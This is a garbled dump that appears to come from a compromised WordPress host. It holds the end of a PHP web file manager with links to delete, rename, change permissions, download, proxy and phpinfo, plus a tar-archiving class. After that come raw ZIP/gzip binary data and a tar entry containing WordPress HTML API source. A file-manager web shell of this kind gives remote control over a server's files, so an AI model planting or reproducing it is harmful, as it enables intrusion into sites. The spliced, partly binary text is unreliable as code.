			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�i���,class-wp-html-attribute-token.php.php.tar.gznu�[�����V�o�8�k�W��"ߗ���l݆;`7C�>:���BmI���a��(�vb��q���M(�G���J"36J��d��U�i��,�Ԁ��13#��G4%��(h��|�[6�򖉡Jԣ�\�f�z��?���&��l<����@�t6��`���%7�h�_�
��+lZwtvօ3x��������\G�K��p�p�4u�W��[�ap#u|��?�+���1@��G61�N�c�>�A�J�.�Ű��_�dJK��R1@ &���:�6G�5�yEE�T�;d��r��Ukb,����!斁b�3�y
�;-n�d���2-H�ɹ+ɵW�gA6�u��w,��uj̟o�e-5�?��S)�X�%�v�&�L���d�n��:I��
����X�'O�UP�N$�knv��w;�'ĩ�@���:��ݠRn�v-�R��n'�x윟w�`�$Ϳ	�����"b����F�#�,3�S�$�����k�P����BwX v�2em��]°ou���@�������q��}!��)��,E������n���=�G�:x�5��M�&���.���$/:���(�E#))1�<�����~�VR����B��C��[.>���0��[s7�X�M�ij�%��������T����"�۰�=%������}2�Cxh]�|PS�
d����{4a��=(>��=\	�Z����8�E=�ҹ�R1�t
�T��c��u�p<y7	î6#�l[����巌��i��M���x+Ex��>
�kJ�pH�r���[5�e���X\gq�V�uQ�;L��g����%u�ZL+L1���&d�S��j�+�r}�#�E�V�k`w���R�b96�XB�OBﻯ�[�\P�A!�hI�'���Z���N��2�9>uO|��]?xY�ʼ|�+��C�,TG���ϛdeYkv�l�՚L�`jE6�(v�t�t���� � ��|�WyPKgN\�KW�ggerror_log.tar.gznu�[������o�0�9�W<i;�;?Hɵ[�c���a��#l�8��@Ѵ�}�v���#�!b"���'��b�n?�\�gR�SnV2ؔ#�rY�Y4#,E@I��.�T�A� 6�q�'��M4�qLHJ"2h�R�����j��G��a����+�G!	�$�G����/��~?P+�������Plk�g��g�
�`g��\$�tO_J^B�@�y!��ag�{��_��yΪ
Pk�B�XT�4S�Q�̞�ٖT-�q@+'
5m\f..3�{��*��~����0
���
8���tk�b�N��n��!�~�|]MN#�/�����1�$K⌎�X5i^���#��u�K��s��滍-}�7���up���[M�^��A�v[�Q�����<p�V+]��tQ��4mN�Z>�
�JT�pT�o�(�D�;��#�9ˆ��^�P���b���]̥N䕩�4~���#Z�PN�sj��B��;�#ک�ݏ�����ne;泠�4~T�W��4�,T[�@���zG���z%����"�Pn�s��� T��QN?�գ=7�9��o����u���}��G'��/&PKgN\T7��[["class-wp-html-token.php.php.tar.gznu�[�����WQo�6�k�+]'�-�F�ɲ4�V�@�h��Pi��Ӥ@RV�-�}w�dI��f���!|H"��x���L��,�&��,/RDa�VrV�S�"Y����Ŕ�bIf�����\y�?{p��z}z:���^���^�zyzz2?;;�����+8y8�?�
�#������+����x�������9�ބ�~��h@6or-Y��V���p�ol�h6�q�Q���!�����g�樷��*.�ǰ؀�*_ȍ�0�6F��~�K�9�-�n����hA(D��p��udԹ΄��?��"Ux6��q���l��i��@�XD6h+���!��B�4a|��E�ct@�9@�_؊�N`��r��"m�ҹVq
���D��C'��1�����ɏ��knAib�K�̜�]��NH	�����H+��oM�<*�b(T̍��q��Jf�9VZc����dQs`�c���9����6$i�}�f��Jϳ�A�_�9:�8/AR^���t�/@꒛��œ�[D`��)7ρ!W�N��\�WX�m�?���c�E0H�5�b�t!c�F<61z�O�������z�V�Gԇp�W�ی�5_�X9&��n��dIMm�d�]W�D���9Rm�ʌ���b�����%�Q�B�k�C�w�[�bm��F����1<��e��|�GY`s%��Lm��w�l�td���'�SŒِ���+�^B¤��z~��E��-��%��q��(��Iˬ���6qT)h1��l�#`LH��u��0�x�\6v�@�G�&.T>�ٗ���X
lr����T��k|ځ6! Lm��D�:��6{Lۿ��@��O��1=��&"�[&%j��e��Rf8Ħ���ȑf���@������8�C�0[H�A��i�nCIh�[E��)D��Z�j�q��*�e���ՠ���O��vu�Y�?Rך-jc
o��h���YX�/��?�+��~��=�q��v���`�뮮��	��T�b/�gE�W�`�۟~{;-&�r($/��y)�|;5z����9�#���
ևUx�����ODV�a��`b"�ңj����kN��d�
5�\�~�]*:`��nJ
Y�I�|z�o�ڶH��a5=pW���9i����IU��JN�A9�~pD�Z/h>On�˝.Z�V/�����p�����0����]vq��]Gr~��ܯ��׎�U���æԇ���Q]�2
�#&�����#�z�p˖��QR�o�d�� ���HJ���2�KP���>j��׈{���ۏן>�!0n��_cw�Wp�v����c����n�_�G�����zZ�[��J�PKgN\g���VV#class-wp-html-tag-processor.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-tag-processor.php000064400000447050151440277770023567 0ustar00<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
